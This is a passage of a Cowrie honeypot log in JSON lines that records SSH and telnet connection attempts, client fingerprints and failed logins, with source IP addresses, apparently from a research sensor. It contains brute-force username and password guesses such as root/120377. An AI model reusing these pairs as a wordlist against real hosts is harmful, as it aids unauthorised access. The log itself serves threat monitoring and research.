sa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:36.249262Z","src_ip":"176.32.39.21","session":"7c28a9fa2529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120377","message":"login attempt [root/120377] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:36.596812Z","src_ip":"176.32.39.21","session":"7c28a9fa2529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:37.715402Z","src_ip":"176.32.39.21","session":"7c28a9fa2529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.306626081466675,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:40.377397Z","src_ip":"137.184.5.188","session":"0588b5de4f2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":55558,"dst_ip":"159.203.135.109","dst_port":22,"session":"42dd4b64c4e1","protocol":"ssh","message":"New connection: 162.241.177.22:55558 (159.203.135.109:22) [session: 42dd4b64c4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:07.596930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:07.601488Z","src_ip":"162.241.177.22","session":"42dd4b64c4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:07.627074Z","src_ip":"162.241.177.22","session":"42dd4b64c4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"polkadot","password":"polkadot123","message":"login attempt [polkadot/polkadot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:07.708622Z","src_ip":"162.241.177.22","session":"42dd4b64c4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:08.737674Z","src_ip":"162.241.177.22","session":"42dd4b64c4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48126,"dst_ip":"159.203.135.109","dst_port":22,"session":"f36c175d71da","protocol":"ssh","message":"New connection: 193.37.70.224:48126 (159.203.135.109:22) [session: f36c175d71da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:13.273396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:13.277018Z","src_ip":"193.37.70.224","session":"f36c175d71da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:13.368685Z","src_ip":"193.37.70.224","session":"f36c175d71da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030185","message":"login attempt [root/030185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:13.637091Z","src_ip":"193.37.70.224","session":"f36c175d71da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:14.729399Z","src_ip":"193.37.70.224","session":"f36c175d71da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":40750,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ed35758771","protocol":"telnet","message":"New connection: 137.184.5.188:40750 (159.203.135.109:23) [session: d6ed35758771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:30.084871Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":34058,"dst_ip":"10.17.0.5","dst_port":22,"session":"2651806052ab","protocol":"ssh","message":"New connection: 177.76.134.52:34058 (10.17.0.5:22) [session: 2651806052ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:44.521191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:44.525173Z","src_ip":"177.76.134.52","session":"2651806052ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:44.665906Z","src_ip":"177.76.134.52","session":"2651806052ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1127","message":"login attempt [root/1127] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:45.265257Z","src_ip":"177.76.134.52","session":"2651806052ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:04:46.464967Z","src_ip":"177.76.134.52","session":"2651806052ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":47938,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b3bfd71469","protocol":"ssh","message":"New connection: 159.65.58.200:47938 (159.203.135.109:22) [session: b0b3bfd71469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:07.500609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:07.735129Z","src_ip":"159.65.58.200","session":"b0b3bfd71469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:07.738233Z","src_ip":"159.65.58.200","session":"b0b3bfd71469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sharapov","password":"123456","message":"login attempt [sharapov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:09.216530Z","src_ip":"159.65.58.200","session":"b0b3bfd71469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":39464,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae7c5743ad8e","protocol":"ssh","message":"New connection: 162.144.213.198:39464 (159.203.135.109:22) [session: ae7c5743ad8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:09.560529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:09.565444Z","src_ip":"162.144.213.198","session":"ae7c5743ad8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:09.658418Z","src_ip":"162.144.213.198","session":"ae7c5743ad8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"S0c1@lF1$M@st3r@P@ss","message":"login attempt [root/S0c1@lF1$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:10.225805Z","src_ip":"162.144.213.198","session":"ae7c5743ad8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:10.537462Z","src_ip":"159.65.58.200","session":"b0b3bfd71469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:12.220022Z","src_ip":"162.144.213.198","session":"ae7c5743ad8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":43588,"dst_ip":"159.203.135.109","dst_port":22,"session":"765b3a8ebeee","protocol":"ssh","message":"New connection: 85.214.154.50:43588 (159.203.135.109:22) [session: 765b3a8ebeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:20.418481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:20.423872Z","src_ip":"85.214.154.50","session":"765b3a8ebeee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:20.518348Z","src_ip":"85.214.154.50","session":"765b3a8ebeee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alameda","password":"alameda123","message":"login attempt [alameda/alameda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:20.803413Z","src_ip":"85.214.154.50","session":"765b3a8ebeee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:21.901359Z","src_ip":"85.214.154.50","session":"765b3a8ebeee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39846,"dst_ip":"10.17.0.5","dst_port":22,"session":"df80a01d0613","protocol":"ssh","message":"New connection: 80.66.85.226:39846 (10.17.0.5:22) [session: df80a01d0613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:24.016067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:24.019645Z","src_ip":"80.66.85.226","session":"df80a01d0613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:24.108552Z","src_ip":"80.66.85.226","session":"df80a01d0613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yahnox75","message":"login attempt [root/yahnox75] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:24.375709Z","src_ip":"80.66.85.226","session":"df80a01d0613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:25.467417Z","src_ip":"80.66.85.226","session":"df80a01d0613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59456,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f8c6c203dc","protocol":"ssh","message":"New connection: 62.133.62.83:59456 (10.17.0.5:22) [session: a1f8c6c203dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:48.300510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:48.304380Z","src_ip":"62.133.62.83","session":"a1f8c6c203dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 